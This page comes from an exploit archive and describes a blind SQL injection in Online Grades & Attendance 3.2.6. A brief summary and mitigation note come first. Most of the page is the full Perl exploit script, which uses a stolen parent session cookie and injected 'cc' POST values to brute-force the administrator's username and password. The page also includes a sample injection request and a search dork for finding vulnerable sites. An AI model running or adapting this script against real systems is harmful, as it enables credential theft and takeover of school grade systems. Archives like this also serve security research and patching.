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vendor:
Online Grades & Attendance
by:
Unknown
7.5
CVSS
HIGH
Blind SQL Injection
Unknown
CWE
Product Name: Online Grades & Attendance
Affected Version From: 3.2.2006
Affected Version To: 3.2.2006
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested: Unknown
Unknown

Blind SQL Injection Exploit for Online Grades & Attendance v-3.2.6

This is a blind SQL injection exploit for the Online Grades & Attendance v-3.2.6 CMS. It allows an attacker to inject SQL queries into the application's database without the application providing any visible error messages. This can be used to extract sensitive information from the database or to modify its contents.

Mitigation:

To mitigate this vulnerability, the vendor should release a patch that properly sanitizes user input and prevents SQL injection attacks. In the meantime, users should consider implementing a Web Application Firewall (WAF) to detect and block SQL injection attempts.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  ¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|                            (Post Form --> 'cc') Blind (SQLi) EXPLOIT	                      |
#|--------------------------------------------------------------------------------------------|
#|                           |    Online Grades & Attendance v-3.2.6   |		      |
#|  CMS INFORMATION:          -----------------------------------------	               	      |
#|										              |
#|-->WEB: http://www.onlinegrades.org/			          			      |
#|-->DOWNLOAD: http://www.onlinegrades.org/		                  		      |
#|-->DEMO: http://www.onlinegrades.org/demo_info					      |
#|-->CATEGORY: CMS / Education								      |
#|-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same      |
#|		features plus many new features. OG is a web based grade...		      |
#|-->RELEASED: 2009-02-05								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3						                      |
#|-->DORK: "Powered by Online Grades"						              |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT					              |
#|-->AFFECT VERSION: <= 3.2.6						 		      |
#|-->Discovered Bug date: 2009-05-21							      |
#|-->Reported Bug date: 2009-05-21							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch: Not fixed							              |
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid registered parent (PHPSESSID) (Use parent stealer --> http://www.milw0rm.com/exploits/8843)
#
#Used this post info --> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermemo HTTP/1.1
#Host: www.onlinegrades.org
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Paros/3.2.13
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard
#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7
#Content-Type: application/x-www-form-urlencoded
#Content-length: 72
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=1# --> TRUE
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=0# --> FALSE
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	if($_[2] eq "post"){
		$request = HTTP::Request -> new(POST => $_[0]);
		$request->referer($_[0]);
		$request->header(cookie => "PHPSESSID=".$_[3]);
		$request->content_type('application/x-www-form-urlencoded');
		$request->content($_[1]);
	}else{
		$request = HTTP::Request -> new(GET => $_[0]);
	}
	my $outcode= $userag->request($request)->as_string;
	#print $outcode; #--> Active this line for debugger mode
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\t3.-Bad PHPSESSID value.\n";
	print "\t\t4.-Bad POST value.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t\tRaison--> Magic quotes ON.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
	print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 Blind SQLi Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [PHPSESSID] [POST]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [PATH]: Home Path.\n";
	print "\t[!!!] [PHPSESSID]: Set PHPSESSID value\n";
	print "\t[!!!] [POST]: Set POST value\n";
	print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'ej67dt4jdjd57fdv6fkvqquh05' 'TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101' \n";
}
sub brute_length{
#Column length
$exit=0;
$i=0;
while($exit==0){
	my $blindsql=$_[2]."'+AND+(SELECT+length(".$_[1].")+FROM+ADMINS+WHERE+id=1)=".$i++."#"; #injected code
	$output=&request($_[0],$blindsql,'post',$_[3]);
	if($output !~ (/Can't get Memo info for Course Code/)){
		$exit=1;
	}else{
		$exit=0;
	}
	#This is the max length of client_id and client_pw
	if($i>80){
	&error;
	exit(1);
	}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength ".$_[1]." --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
	$z=45;
	while(($k<=$_[1]) && ($z<=126)){
		my $blindsql=$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+ADMINS+WHERE+id=1),".$k.",1))=".$z."#";
		$output=&request($_[0],$blindsql,'post',$_[4]);
		if ($output !~ (/Can't get Memo info for Course Code/))
		{
			$values=$values.chr($z);
			$k++;
			$z=45;
		}
#new char
	$z++; 
	}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##       ++Needed: Registered parend (PHPSESSID)     ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $PHPSESSID=$ARGV[2];
my $POST=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3) 
	{
		&helper;
		exit(1);	
	}	
#Build uri
my $finalhost="http://".$host."/".$path."/parents/parents.php?func=showteachermemo";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";
#magic quotes on?
$output=&request($phpinfo,0,'get',0);
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
	&errormagicquotes;
	exit(1);
}
$finalrequest = $finalhost;	
#Testing blind sql injection
$send_post1=$POST."'+AND+1=0#";
$output1=&request($finalrequest,$send_post1,'post',$PHPSESSID);
$send_post2=$POST."'+AND+1=1#";
$output2=&request($finalrequest,$send_post2,'post',$PHPSESSID);
if ($output1 eq $output2)
{    
	#Not injectable
	&error;
	exit(1); 
}else{ 
	#blind sql injection is available
	&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,'client_id',$POST,$PHPSESSID);	
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'client_id',$POST,$PHPSESSID);
#Bruteforcing length
$length_pw=&brute_length($finalrequest,'client_pw',$POST,$PHPSESSID);	
#Bruteforcing password...
$pw=&exploiting($finalrequest,$length_pw,'client_pw',$POST,$PHPSESSID);
#final checking
if((!$user) || (!$pw)){
	&error;
	exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pw."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done

# milw0rm.com [2009-06-02]

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